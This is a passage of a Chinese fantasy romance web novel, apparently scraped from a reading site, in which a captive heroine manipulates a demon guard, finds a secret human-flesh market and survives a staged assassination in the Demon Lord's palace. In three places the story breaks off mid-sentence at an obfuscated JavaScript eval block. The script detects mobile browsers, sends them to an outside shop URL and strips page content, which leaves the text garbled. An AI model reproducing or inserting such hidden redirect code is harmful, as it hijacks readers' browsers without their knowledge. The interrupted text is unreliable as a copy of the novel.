他明知咬下去从此一发不可收拾,但就是忍不住。 就咬一口。 好似有一道甜腻的声音诱惑着他。 只需要一口,无数个日夜折磨他的焦灼难耐就能被短暂抚平。 步谨言捧起那只染血的手,着迷般凑了上去。 曲云织任由自己的手腕被大力禁锢,她用另一只手轻柔拍抚着魔族暗卫的后背。 脸上是伪装出来的慈悲与温柔,就像正注视一只舔舐自己血肉的幼兽。 长久以来压抑本性的人一旦破了戒,就再无法维持摇摇欲坠的自律,他们会在每一个梦回的深夜,脑海一遍遍上演当日的情景。 会在心底安慰着说,没关系,就再来一次。 一次而已,没什么的。 然后这样的“一次”越积越多,逐渐演变成放纵的执念。 执念将会是她控制住一个人最好的筹码。 曲云织垂眸凝视着魔族暗卫。 他眼底恍惚,不知不觉拉下面罩,那张脸苍白而俊秀,像是常年不见阳光,唇瓣还有些发干。 待到鼻尖几乎蹭到她的掌心,已能察觉到吐息带来的温度。 暗卫启唇,一截猩红的舌尖探了出来,血液的气味勾得他喉结上下滑动。 曲云织笑容加深,成了。 即将久违品尝到鲜血的滋味前,暗卫眼神陡然间变得清明,他看见了近在眼前的血肉,面色一变,就像见到什么可怕的东西。 步谨言奋力将曲云织的手甩开,重新拉上面罩,露在外的半张脸上神色阴晴不定,狠狠扭头瞪向罪魁祸首。 曲云织似没能想到他这都能清醒过来,诧异与暗卫对视。 “此事我不会禀报给魔尊,但下不为例。” 说完,步谨言迫不及待消失了身形,称得上落荒而逃。 曲云织心中啧了声,还挺难搞的。 * 又过了几天无事发生的清闲日子。 魔尊说不会有外人叨扰她,往日那些找茬的魔族还真销声匿迹了。 曲云织心想这可不行。 她实质上是为了不让太乙天书回到人族,困住鸿蒙至宝的一件容器,是个货真价实的囚犯。 要想攻略魔尊,光这样被动等待就是浪费时间。 她需要尽快掌握主动权。 曲云织决定出门一趟寻找机会。 刚一踏出门扉,炽烈的阳光就浇在了身上。 她下意识抬袖挡住了脸,眼睛被刺得微眯起来,沁出几滴泪。 曲云织自嘲地想,她果然是个性格阴暗的人,喜欢待在黑漆漆的屋子里,见不得阳光。 魔域对人族来说是止小儿夜啼的可怕地方,但出乎意料,整座宫殿典雅庄重,四处可见精心培育的奇花异草。 没多久,她便撞见两个魔宫侍女。 矮个的侍女抱怨道:“最近魔尊陛下出关,宫里规矩都森严了许多。” 高挑些的也叹了口气,“没办法,谁叫陛下本就是苛刻的性子,忍一忍就过去了,从前不也是这么做的。” 两位侍女泪眼汪汪,一转头就碰见曲云织站在花丛旁笑意浅浅望着这边,她们瞪大双眼,就像见了鬼一样恨不得拔腿就跑。 曲云织顿时眼中浮现哀愁之色,摸了摸自己光洁秀美的脸,“我长得有那么可怕吗,为何见了我就跑?” 侍女们这下走也不是,留也不是,只能僵硬地扭过身子,冲她讪讪一笑,笑容跟被肌肉生拉硬拽出来的一样。 “怎么会,曲夫人国色天香,是我们见了自惭形秽。” 她们正是前段时间找曲云织不痛快,反而被气哭的两个魔族。 高挑侍女率先冷静下来,“曲夫人找我们,可是有吩咐?” 曲云织拨了拨身旁一丛花枝,窸窸窣窣的声响就好像弹在了侍女紧绷的心弦上。 “先前我听你们抱怨魔尊苛刻,能跟我说说是怎么个苛刻法吗?” 两位侍女担惊受怕的表情荡然无存,维持得体的笑容,“怎么会?魔尊陛下英明神武,曲夫人怕是听错了。” 在魔宫当差有一点很重要,那就是口风严。 曲云织便也没揪着这个话题继续问,“我近来有些想念仙宗的生活,当然我清楚魔尊不可能放我回去,就是不知哪里可以寻到人族的物品供我睹物思人一番?” 侍女们面露犹豫,迟疑地互看一眼。 最终,矮个的侍女深吸一口气,唇角的弧度甜美,眼中却藏着微不可查的恶意,自告奋勇道:“我知道一个地方,保管让曲夫人满意。” 曲云织颔首,“带路。” 跟着侍女绕过几条花草繁茂的小径,目的地是远离魔宫主殿一处偏僻的角落。 这里常年没有魔族到访,地面堆积了不少枯叶,一条贯通的平坦小路延伸至两个拐角。 有人来了很难察觉,但逃跑也比较方便。 矮个侍女说:“我们私底下会这样偷偷买卖禁物,待会儿听到脚步声,就证明交易的魔族到了。” 高挑侍女警惕地左顾右望一番,一把拉住矮个侍女的手,“我们还有事在身,就不与曲夫人一同等候了。” 曲云织只来得及“唉”了一声,眼睁睁看她们跑没了影。 “……” 百无聊赖等了片刻,她实在没耐心,在听到脚步声之前,她先闻到一阵若有似无的血腥气。 曲云织敛眸,无声笑了下,知道这两个侍女没安好心,她自信有本事应对大多数突发情况,于是抬步,循着血腥味的源头找了过去。 只在一墙之隔的地方。 她轻盈掠上伫立墙外的树干,借着树叶的遮掩,观察墙内的景象。 如果说她方才待的地方冷清到小动物都不屑于去,那么这片墙内就是一座微小的集市,似乎知道都是些见不得人的商品,往来魔族遵循以物易物的原则,商讨好了价码,交易完成后转身就走,绝不逗留。 至于他们交易的物品—— 曲云织眼尖瞥到严严实实的黑布滑落后露出的东西,眸光逐渐冷了下来。 是人肉。 魔族天性嗜杀,除了吃人以外甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251968|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有同族相残的陋习。 万俟逐鹿上位成魔尊以后,颁布的第一条禁令就是废除魔族之间互食的习俗,还多次约束他们猎食人族的频率。 正因如此,他这个魔尊当得不算很稳,全靠绝对的实力压制蠢蠢欲动的魔族。 曲云织已没了兴致再看下去。 她从树干一跃而下,利落转身,余光却蓦地扫到墙角后。 一个鬼鬼祟祟的魔族双手捧着黑布,布料中露出一截被啃食后惨白的指骨,他嘴上还残留着尚未干涸的血,正直勾勾盯着自己。 魔族咽了口唾沫,吞咽声被狭窄空旷的走道无限放大。 他没有张嘴就喊这里有人族,手上这截指骨已经是他努力打拼许久才换来的奖赏。 可眼下,一整顿完好的大餐摆在面前。 猎物柔弱不堪,是他也能轻易捕食的类型。 血肉香甜的芬芳透过那层细腻的皮肤,时刻牵动他的食欲。 魔族再也忍不住,面目狰狞、口齿流涎地扑了过来。 曲云织一动未动,冷眼看着那张丑恶的脸逼近。 在魔族的利爪即将穿刺她胸膛前,仿佛有一根锋利至极的线横在魔族的喉间,随着他往前冲的动作,脖子上冒出一线极细的血痕。 魔族脚步越来越缓,身体忽而砰地砸向地面,那颗死不瞑目的脑袋咕噜噜滚到曲云织脚边,被她嫌弃地踢开。 “你就这么急着找死吗?”步谨言悄无声息现身,方才正是他将那魔族斩首。 曲云织弯了弯眼眸,“不这样的话,你根本不出来见我。” 自从引诱他饮血失败后,暗卫就处处躲着自己。 步谨言挥手,抹去那具死相凄惨的魔族尸体,随后冷冷对她道:“我说过下不为例,方才发生的事我会悉数告知魔尊。” 曲云织满不在乎地说:“你随意。” 倒霉的是私底下交易人肉的魔族,又不是她。 眼见暗卫又要隐匿身形躲着她,曲云织开口,“我听说你有个相依为命的弟弟,是人魔混血。” 在魔宫打听魔尊的消息艰难得很,但一个暗卫的情报轻而易举。 步谨言霍然扭头,瞳孔微微收缩,半张脸被银色面罩遮掩,但眼中的杀意一览无余。 曲云织怀疑要不是有着魔尊的命令,落在那魔族身上的刀锋就该调转向她。 她依旧从容,即便暗卫溢散的威压正分秒不让压迫着她。 “是因为想起你弟弟,那天你才不肯喝我的血吗?” 步谨言朝她走了过来,踩在枯黄的落叶上发出清脆响声,他想取曲云织的性命,同碾碎枯叶一般轻易。 曲云织看着他,声音很轻地说了句,“抱歉。” 步谨言一顿,他站得离曲云织很近了,伸手就能触碰到她的距离。 他什么也没做,只低头瞧她面上神色。 曲云织抬眸,与暗卫那双怒气未消的眼对视,她眼中是与往日截然不同的认真,淡淡地浸透那双清澈的瞳孔,绝不像是虚浮的伪装。 “抱歉。”她再次重复了一遍,“我做了一件混账至极的事。” 她没有为自己找任何借口,说引诱一个哥哥吸食弟弟半个同族的血液是为了自保,因为她清楚无论什么理由都不能抵消这件事之恶劣。 如同引颈就戮般,曲云织低垂了头。 仿佛她以自己性命为饵,逼暗卫现身只是为了这一句道歉。 “……” 步谨言抿唇,有些庆幸面罩遮掩了他的踟蹰。 他清楚曲云织惯会伪装,在玩弄人心上有着极高的手段。 她的歉意有几分真几分假。 他分不清。 5. 第 5 章 这一趟出行,曲云织有两个收获。 第一个自不必说,她与暗卫的关系缓和。 从被他刻意躲着,到能偶尔在树梢屋檐瞥见一截衣角的程度。 怎么跟养猫似的? 那天她引诱暗卫饮血不成,他却没有尽本分第一时间上报魔尊,从这一点就足够看出他对自己的迟疑态度。 而曲云织的歉意消了他心中那丝芥蒂。 暗卫的倒戈不过是时间问题。 在魔宫中有了同伴,往后的行事会方便许多。 至于第二个收获—— 曲云织眼中划过一抹幽紫流光。 长廊上,曾为她引路的两名侍女正在交谈。 高挑侍女忧心忡忡,“你说我们把曲夫人带到那种地方,会不会——” 矮个侍女撇嘴,满不在乎地说:“怕什么,又没直接把她带到集市,人死不了,顶多受一场惊吓。” 高挑侍女拽了拽她衣袖,急道:“我是担心事后咱们会不会遭到她的报复!” 矮个侍女一愣,后知后觉曲云织是个怎样的性子,而自己当初又是怎么被她一句话戳中心中最狼狈的地方,当场崩溃。 侍女们面色煞白,当即调转脚步往集市的方向,想着亡羊补牢一把。 可她们才刚有所动作,慌乱的眼中短暂闪过一道紫光。 侍女们脚步慢了下来,脸上神色也恢复平静,就好像无事发生过。 她们眼神恍惚,带着如出一辙的平静微笑。 “是我杞人忧天,曲夫人心地善良,怎么可能会怪罪我们呢?” 见此,曲云织收回侍女身上的神识。 她们这一族天赋异禀,各有所长,像她就天生对七情六欲有着敏锐的洞察,修行方面自然走的这一道。 前段时间魔族上门找茬,她气跑两个,搞哭三个,耍弄一群魔族的战绩,就是为了让他们心绪被自己牵动,趁虚而入侵占他们的识海。 这种手段瞧着厉害,无声无息将人化作自己肆意操控的傀儡,但只能对神魂薄弱的对象使用,且一旦被发觉,傀儡线就能轻而易举地根除。 曲云织不怪那两个侍女将她引入危险的魔族集市。 因为正是她在背后牵线。 借用傀儡们的视角,她基本摸清了整座魔宫的布局,除了几处重地。 探索过程中她察觉几处人员异动的地方,今日前去一观,才知道这是魔族们私底下交易人肉的集市。 就连小小的魔宫侍从都在偷偷违背魔尊颁布的禁令。 曲云织哂然一笑。 看起来魔尊对魔宫的掌控力度,甚至比不上她。 * 曲云织又做噩梦了。 梦里,昔日美好的故乡成了一片人间地狱。 天空中奇异的虹色光晕就像一只漠然俯瞰的眼睛,浓云如同割据空中的病灶般极速扩散,随后成雪崩之势倾塌,大地轰隆隆震颤,绽开的裂隙中地火喷发,翻涌的土石如同巨浪,一遍又一遍碾压着沉沦其中的人。 她的耳边回荡着族人凄惨的悲鸣,撕心裂肺,像是源自灵魂的哀嚎。 曲云织从未听到过能有人发出那种惨痛凄厉,非人的叫声。 而那些不成人形的生物,曾是她的家人。 她只能远远躲在一片山崖上,被人在身后捂住嘴,喉间压抑着哽咽,眼睁睁看着一切的发生。 刺目的光斑打在脸上。 不是梦,她的梦里才没有阳光。 她像是逐渐沉入一片名为梦境的苦海,被梦外的事物骤然间拉了起来。 曲云织惊醒。 刚睁眼,就对上一张凑近的大脸。 眉飞入鬓,眼角桀骜地上挑,高挺鼻梁下一张笑起来总显得讥诮的唇。 万俟逐鹿正满脸好奇盯着她的睡颜。 “!” 曲云织思绪还沉浸在噩梦里,行动不过脑子,下意识将那张俊脸一巴掌拍开。 她脸色阴沉得可怕,目光在室内转了一圈,越过魔尊的身影来到窗子前,唰一声大力拉下帘子,重新将光线严严实实隔绝在外。 做完这些,确保自己依旧处于令人安心的黑暗中,曲云织这才有心思回想刚才发生了什么事。 然后她就想起了那清脆的一巴掌。 曲云织:“……” 她转过身,见魔尊狭长的眼都瞪圆了,呆呆捂着自己被扇的半边脸。 万俟逐鹿对上曲云织的目光,松开手转而在空中摆了摆,不甚在意道:“我记得你们人族女子的闺阁很忌讳外男擅闯,这一巴掌算我自找的。” 曲云织扫了眼敞开的房门,又看了看还理直气壮待在原地的魔尊,冷笑一声,“那魔尊明知故犯又是为何?” 心中却在琢磨,魔尊没事闯她房间做甚? 她倒不担心噩梦的内容被知晓,梦中她都被捂住了嘴,还能说什么梦话不成? 万俟逐鹿全然没有身为不速之客的自觉,抽来一张椅子大马金刀地坐下,没好气道:“你知道现在什么时辰了吗,我大早上过来找你却不见人,往卧房里一瞧才发现你睡得还挺沉,年纪轻轻的怎么身上死气这么重?” 他盯着曲云织乱糟糟的头发,想起她睡梦中始终紧锁的眉头,视线往下是一件沉闷的黑衣,与衣襟下苍白病态的肌肤。 再回忆她起床后第一件事就是拉帘子,魔尊语重心长,“成日关在阴暗的地方人都会发霉,适当晒点太阳对身体也好。” 曲云织:“……” 这魔尊是不是脑子出问题了? “找我什么事?”懒得与他掰扯,曲云织略有不耐地问。 万俟逐鹿长腿交叠,一手托着下巴,他心情似乎很愉悦的模样,唇角微弯,“今日我打算将你正式介绍给魔族。” 曲云织挑眉,“以何种身份?” 万俟逐鹿意味深长道:“孤男寡女之间还能有什么关系?” “这样真的好吗?”曲云织提醒,“别忘了我可是玄微仙君的道侣。” 万俟逐鹿闷闷笑了声,“再好不过,作为战利品而言,你简直是绝佳的选择。” 曲云织敛了敛眸,“随你。” 万俟逐鹿一拍手,就有侍女捧着托盘鱼贯而入,他些许嫌弃地说:“把你那身黑衣换了,梳洗打扮一番,待会儿随我去赴宴。” 曲云织没动。 万俟逐鹿尾音上扬,“怎么了?” 曲云织抬手一指门口,冷淡道:“出去。”还留在这里难不成想看她更衣? 万俟逐鹿:“哦。” 魔尊灰溜溜被赶出了卧房。 他双手抱臂靠在墙边,若有所思摸了摸下巴。 怎么感觉曲云织对他的态度随意了许多,嬉笑怒骂都少了平日里的端庄疏远,是因为起床气吗? 他不过心血来潮看一看她,没想到撞见她困于梦魇的一幕。 她心魔很重。 而且万俟逐鹿觉得,曲云织这副带点不耐烦和娇纵的性子,说不准才是她掩藏在重重心防下最真实的模样。 可不要被他抓住破绽,要不然—— 万俟逐鹿没有接着想下去,他朝房门喊了一声,“还没好吗?” 换个衣服怎么这么久? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251969|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲云织烦躁的声音隔着门板传来,“你自己挑的,你不清楚吗?” 万俟逐鹿哑口无言,默了片刻,他道:“行,我先走一步,你稍后再来。” 听到魔尊脚步声渐远,卧房内,曲云织苦大仇深盯着侍女手中金饰。 她要换上的衣服与魔尊那件成套,金银红三色交织,华贵非常,搭配的饰品也多。 不知魔尊究竟怎么顶着满身金饰大步流星,他就不嫌重或者勒得慌吗? 曲云织认命低头,等侍女给她戴上金玉珠钗。 不知怎的,兴许是厚重的衣饰压得她胸口沉闷,心脏一声声的鼓动似敲在了耳膜上,愈加急促,也愈加慌乱。 就像有什么危险的事物即将到来。 周遭实在太过安静了,除了侍女替她更衣梳妆时带出的衣料摩擦声,金饰撞响声,还有她竭力维持平稳的呼吸之外,再没了其他动静。 她们好像被隔绝在了一间小小卧房。 “够了。”曲云织抬手挡住侍女,她实在无法忍受这股心慌意乱的感觉。 她的举动仿佛在湖面投下一颗的石子。 平静的表象被猝然击碎。 曲云织余光瞥见一抹闪烁的寒芒,想也未想,她一把拽住魔族侍女的手腕,将她拉过来挡在自己身前。 随着侍女手中金玉发钗落地,撞出清泉击石般的声响。 魔族侍女的胸口被剑尖贯穿,血迹顷刻间扩散。 曲云织的手与那截剑尖同时抽离,侍女身子软软倒地。 她也看到了自一扇屏风后现身的袭击者。 是个魔族,面容裹得很严实,高矮胖瘦是男是女都分不清,看不穿修为也就意味着至少比自己要高上一个大境界。 曲云织缓慢向后退去。 抹额与腰间细链清脆作响,层叠的纱裙又实在妨碍动作,她嫌烦,干脆一把扯了下来。 “谁派你来的?” 曲云织试图拖延时间,这么大动静都没引起等在卧房外的暗卫注意,就代表此地被设了不易察觉的结界。 太久没听到房内响动,暗卫自然会起疑进来查看。 她只要拖到那时候就好。 刺客没回答,他应当察觉了曲云织的小心思,等不及便身形一闪,提剑刺了过来。 曲云织将手中纱裙一抛,转身向门外冲去。 离门口的距离很短,疾跑几步就等到达。 可飘飘扬扬的纱裙连阻挡视线的作用都起不到,在空中无火自燃,紧随而来就是刺客自火中挥出的一剑。 剑锋并未落到曲云织身上,而是与地面摩擦产生一道漆黑的花火。 黑色的火焰上并未有灼热温度,却分裂成几道,像蜿蜒的毒蛇一路越过曲云织,攀上她面前的房门。 曲云织脚步硬生生顿住,被火舌逼退。 瓮中捉鳖。 眼下的情况令她想到了这个词。 曲云织背对着房门,转身面向一步步朝她走来的刺客。 她长长吐出一口气,方才的紧绷都松懈了许多,真到这个时候,她心思反而能平静下来。 不能将希望寄托于他人。 与其等暗卫察觉异常,不如由她破了这个结界。 曲云织伸出了手。 这间锦绣堆砌的卧房内,突兀响起一声悠长剑鸣。 那柄曾为玄微仙君所使用,如今束之高阁的青云剑挣脱剑匣,如极夜里飞逝的流星落入她手中。 曲云织紧握剑柄,无需磨合便能与这把蒙尘的神兵心意相通,仿佛她本就是它的主人。 他的剑,从不曾对她设防。 6. 第 6 章 剑光寒彻。 锋利无比的剑气将结界如同纸张般轻易洞穿。 风声、虫鸣鸟叫,更多细碎又嘈杂的声响同一时刻灌了进来,就好像定格的时间再次流动。 步谨言意识到了不对,顾不得礼节,大力推开房门。 刺客比他快上一步,挥剑劈开屋顶,自天光倾泻的洞口一跃而上。 步谨言抬腿便追,分出些心神扫向卧房。 刚刚那一剑显然是曲云织所为,人应当无恙。 可当他余光看到,曲云织满身狼狈,靠着墙才不至于跌倒,一手执剑,一手捂着胸口,闷声咳了咳,唇角溢血的模样。 心中一瞬的迟疑让他追击的脚步一顿。 人族有多脆弱,他太清楚了。 曲云织嘶声开口,“我无碍,快去追!” “……罢了。” 耽搁的这一会儿,刺客已经跑没了影。 步谨言自知失职,犹豫了片刻单膝跪在曲云织身前,低垂着头,碎发掩住眉眼让他显得格外温驯。 “我去禀明魔尊,封锁魔宫揪出刺客。” 曲云织不语,拿绣工精美的衣料擦拭唇角鲜血,她垂眸,盯着手中那截断剑。 剑身裂痕斑斑,方才那一下已经透支了剑中仅存的灵力。 她固然能毫无阻碍催动玄微的本命剑,但以她的修为免不了遭受经脉错乱之苦。 稍作调息就能恢复,连代价都算不上。 本命法器与主人心意相同,如果玄微当真对她有所隐瞒,那这柄剑毫不设防的姿态又算什么? 到底哪边是真,哪边是假? 还是说一切都是魔尊设下的谎言? 可惜死人已经无法给她答案。 曲云织安静地看着裂痕逐渐蔓延,青云剑如薄冰般粉碎,消逝在掌心。 罢了,过往种种,她是时候放下了。 “我受到袭击一事先不急着上报。”曲云织拦住了欲要出门的暗卫。 她想不通是谁要袭击她。 在魔宫所作所为的确招恨,但恨她的魔族都成了她的傀儡。 曲云织眼中紫光一闪,将视角接入到了宴会上。 第一眼看到的就是最上首的魔尊。 他盘膝坐在一张矮几前,锦衣华服,衣襟依旧大喇喇敞开,通身璀璨金饰衬得那张面容愈发珠玉生辉,五色绳结与几缕细辫懒懒垂在脸颊边。 似乎等得有些不耐,他歪头支着下巴,另一只手端酒盏,也不喝,仅是百无聊赖地晃了晃。 魔尊身边有一个空置的座席,大抵是为曲云织准备。 再往下一阶,两侧席位上各坐着一个魔族,无论从座次安排还是他们周身气势,都能看出来地位不低。 右边那个身形高大赤裸上身,精壮的胸膛上有着岩浆般明亮灼烫的纹路,火红长发炽烈耀眼,相貌也是凶神恶煞。 左侧的魔族在他对比下显得过分纤细,乍一眼以为是人族的谦谦君子,衣饰礼仪无一处不周到,唇畔噙着温文笑意,发丝雪白,双眸紧阖,像是患了眼疾。 曲云织还记得玄微曾给她讲过的魔族势力分布。 魔族奉行强者为尊那一套。 现任魔尊万俟逐鹿以绝对的实力上位,但他的统治算不得稳定。 除却灵智低微但数量庞大的边境魔族,以及一些小部族之外,其内部大致分为三个派系。 拱卫魔尊的那一派系自不必说,另外两股势力分别是不满于魔尊禁令的激进派,以及不承认气运之子正当性的守旧派。 前者享受厮杀,魔尊命令他们杜绝同族相残、克制捕食人族的频率,激起了相当的不满。 而后者则认为,气运之子之所以实力强大,有赖于他们身上的鸿蒙至宝,这份强大不属于他们自己。 曲云织乐得看他们内斗,玄微亦如是。 说起来魔族分裂成三个派系,这其中还有玄微仙君的功劳,他很少与魔尊正面冲突,而是不断挑拨离间那些部族。 魔尊骂他卑鄙小人也是情有可原的。 曲云织操控的这个傀儡只是一个不起眼的侍从,远远站在会场角落,上首那几个魔交谈了什么根本听不清。 她正想着要不要切换视角,但很快打消了这个想法。 红发魔族拍桌而起,脆弱的木材承受不住他的巨力,轰然粉碎。 四散的碎屑有的溅到酒盏,有的险险擦过脸颊。 万俟逐鹿不咸不淡撩起眼皮,抬眸扫了发作的魔族一眼。 “区区人族真是好大的排场!”顶着魔尊警告的眼神,段干鸿也只是浑然无惧咧了咧嘴。 “这么久了都不肯现身,莫非被吓破了胆子,看来魔尊心宜的女子也不过如此。” 不等万俟逐鹿回答,他对面的希辰率先出声,“我要是那人族女子,我也不肯出来。” “同席之人如此粗鲁。”白发魔族拂去衣衫上的木屑与灰尘,淡淡吐出两个不屑的字眼,“扫兴。” 段干鸿嫌恶地看了他一眼,连一句多余的话也不愿说,依旧直面魔尊,但语气冷静了许多。 “那几条禁令我姑且可以视为一种为了魔族长远发展的约束,但你如今所为简直称得上荒唐,竟看上了一个人族女子,哪怕那是玄微的道侣!” 他顿了顿,看着粗暴又莽撞,逼视向魔尊的眼中却是一种敏锐的洞彻。 魔族有玩弄猎物的习惯,将死敌的妻子放在身边狎猊把玩很正常。 但放在当今魔尊这里就变得异常了。 魔尊太过软弱。 这并不是指他的性格,而是比起前几任魔尊的暴虐,万俟逐鹿从不过分滥杀,行事克制又有原则。 这在以恐惧建立威信的魔族,就是一种软弱。 “还请魔尊谨记,人族不过是我们满足口腹之欲的食物。” 自段干鸿出声起,在场魔族就不约而同静了下来。 而等他收了声,原本热闹的宴会更是只剩一片压抑的沉默。 在场所有魔族都在等魔尊的表态。 他们冷眼看着上首的至尊之位,只要捕捉到一丝脆弱与懈怠,就能一齐扑上去将其撕咬殆尽。 “哒。” 很轻的一声。 万俟逐鹿搁下酒盏,撑着膝盖稍稍坐直了身子,他脸上露出一种像看什么荒唐事物的笑,也真的笑出了声。 “是什么让你一个手下败将有资格质疑本尊?” 万俟逐鹿眼神轻慢,上上下下来回扫了段干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251970|139649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸿一圈,饶有兴致道:“还是说你已经自信到妄图挑战魔尊之位?” 段干鸿被羞辱,怒火来不及攀上面容,就对上魔尊漠然至极的视线。 “不要搅了本尊的狩猎。” 原来只是看上了一个新的猎物,而不是真的对那人族女子产生兴趣。 段干鸿一愣,深深低头,“是,属下知错。” 他暗道自己操心过甚,能登上魔尊之位的有几个心慈手软之辈? 魔尊不可能对一个人族女子动心。 * 曲云织收回了傀儡身上的神识。 她这算是旁观了一场大戏,看来万俟逐鹿这个魔尊当得也不是多么舒心,居然还能被下属逼迫表态。 所有魔族中,就数激进派那个红发魔族对自己敌意最深。 派刺客袭杀自己的是他吗? 不对。 曲云织回忆刺客出现的刹那,虽然她及时以魔族侍女做抵挡,但那一剑袭向的地方—— 她若有所思将掌心按在胸口,指尖向外比比划划挪了几寸。 刺客的剑尖从一开始就偏离她的心脉。 但这可能吗? 刺客隐藏在屏风后能不被察觉气息,结界破碎后也懂得毫不拖泥带水地撤退,且从他逃跑的速度来看,是提前规划好路径了的。 如此经验丰富的刺客,有可能动手时刺不准目标的要害吗? 还是说幕后主使压根没想要她性命? 曲云织不由得笑了,她心中冒出来一个猜测。 魔尊出关后,底下的魔族蠢蠢欲动,尤其是激进派甚至在魔宫走私人肉。 现如今在宴会上,激进派为首的红发魔族公然表达对自己存在的不满,要是得知她遇刺的消息—— 恐怕连激进派首领都不知道,是不是己方所为。 魔尊就能顺理成章敲打激进派。 这场自导自演的戏码中,她居然只是一个无关紧要的配角。 魔尊口中的狩猎,目标还不是她,而是激进派。 她的风头竟然被一个魔族大老粗抢了去! 曲云织笑容渐冷。 这可不行。 她招招手唤来暗卫,在他耳边低声吩咐了几句。 * 宴席上。 万俟逐鹿已经无聊到放空目光,数着底下人几只眼睛几个鼻子来打发时间了。 腿都快坐麻时,他默默换了个姿势,停摆的脑子重新转动。 刺客再怎么磨蹭也该得手了吧? 等侍从通报曲云织遇刺的消息,他就有理由对激进派发难。 事后曲云织发现了真相,又该以什么手段报复他呢? 万俟逐鹿小小地期待了一下。 终于,一个侍从自偏殿急匆匆跑了过来,他神色慌乱,无视了其他魔族不悦的面色,一路直奔魔尊的座席。 不知是太过焦急忘了还是什么其他原因,他没有选择传音给魔尊,而是张口就喊。 “不好了,曲夫人遭到不明刺客的袭击,心脉损毁,现已危在旦夕!” 万俟逐鹿眼眸微微睁大。 他霍然起身,甩袖便往魔宫中行去。 徒留下满座的魔族,神色各异。 7. 第 7 章 事情与预想中的有些不同。 万俟逐鹿在赶往曲云织所在偏殿时,心中不断思索。 他没想要她的命,然而侍从传达的消息是,曲云织重伤濒死。 是刺客失手,还是中途出了什么意外? 万俟逐鹿挥袖扫开紧闭的殿门,直入卧房内。 一抬眼,他便瞧见曲云织懒懒横卧榻上,正支着脑袋好整以暇看他焦急的模样。 窗前的帘子被拉得很严实,牢牢挡住意图入侵的阳光,而曲云织换上了她格外喜欢的黑衣打扮,整个人就像与黑暗融为一体,悄无声息潜伏的猎食者。 她的肤色依旧很白,但不是失血过多所导致,而是不喜阳光养出的雪肌玉骨,身上别说连点伤痕,就连房间里那淡薄血气都快消散了。 除去遍地凌乱与狼藉,她这副悠闲姿态哪里看得出遭受了袭杀? 万俟逐鹿气笑了,不无讽刺反问道:“心脉受损,危在旦夕?” 是侍从眼瞎还是他眼瞎! 曲云织坐起身,长发如流水般滑过她肩颈,而她秀眉微蹙,眸中适时氤氲出我见犹怜的泪雾,“方才有刺客意图袭杀我,而我为了自保强行催动玄微的本命剑,经脉错乱血气逆流。” “只不过稍微夸大了一点事实。”她拇指与食指比划出微小的距离,“算不得假吧?” 空中弥漫的香甜血气的确属于曲云织,再加上那股残留的剑意针扎似的往他这里钻。 万俟逐鹿也就没否认曲云织说的话,他缓和语气问道:“刺客呢?” 曲云织眨了眨眼睛,回答得流畅自然,“被他跑了,你指派给我的那个暗卫正在追击。” “短时间内跑不远。”万俟逐鹿吩咐他带来的下属,“立即封锁魔宫,派侍卫巡察王城。” 他表现得像对刺客一事全然不知情,还像模像样安抚曲云织,“我定将那刺客捉来,连同背后之人一起交与你随意处置。” 曲云织也像是因为他的举动感到安心,带着信赖却又藏着一丝古怪的笑容,轻声说:“好啊。” “可是比起那可恶的刺客。”曲云织慢条斯理整了整衣袖上的褶皱,抬眸笑盈盈睨了过来,“我更关心魔尊在我这里时,为何没发现刺客就藏在屏风背后?” 万俟逐鹿一愣,他脸色有些许不自然,眼神躲闪,指腹蹭过鼻尖,尴尬地咳了咳,抿唇小声说:“我总不能在女子闺房放出神识。” “不过刺客闯入确实是我疏忽。” 曲云织摇了摇头,大度原谅了他,“要是你在我卧房大肆昭彰放出神识,我才不会放过你。” 万俟逐鹿不知道为什么,他直觉曲云织这话真得不能再真,于是他明智避开了这个话题,“闹了这样一出事,你便在此好好休息,赴宴就不必了。” 魔尊转身往外走,他还要安抚宴会上受到冷落的众魔。 而且他怀疑,曲云织应当已经察觉了什么,刻意将他引过来拖延时间。 曲云织从身后一把拉住他的衣袖,“我随你一起去,毕竟这件事因我而起。” 万俟逐鹿皱眉,不赞成道:“你受了惊,需要好生休养。” 曲云织温和又坚强地说:“气血翻涌一阵子而已,算不上大恙,我调息片刻已经好了。” 万俟逐鹿:“……” 没看出来她是如此善解人意的性格。 默了会儿,他有些牙酸地说道:“行,都听你的。” 然而,当万俟逐鹿牵着曲云织的手,在一众魔族面前现身时,在场的气氛简直称得上阴沉。 他先前分明压下了魔族不满的声音,可这一丝即将熄灭的不满死灰复燃,还越烧越烈。 无数双视线意味不明落在他旁侧人族女子的身上。 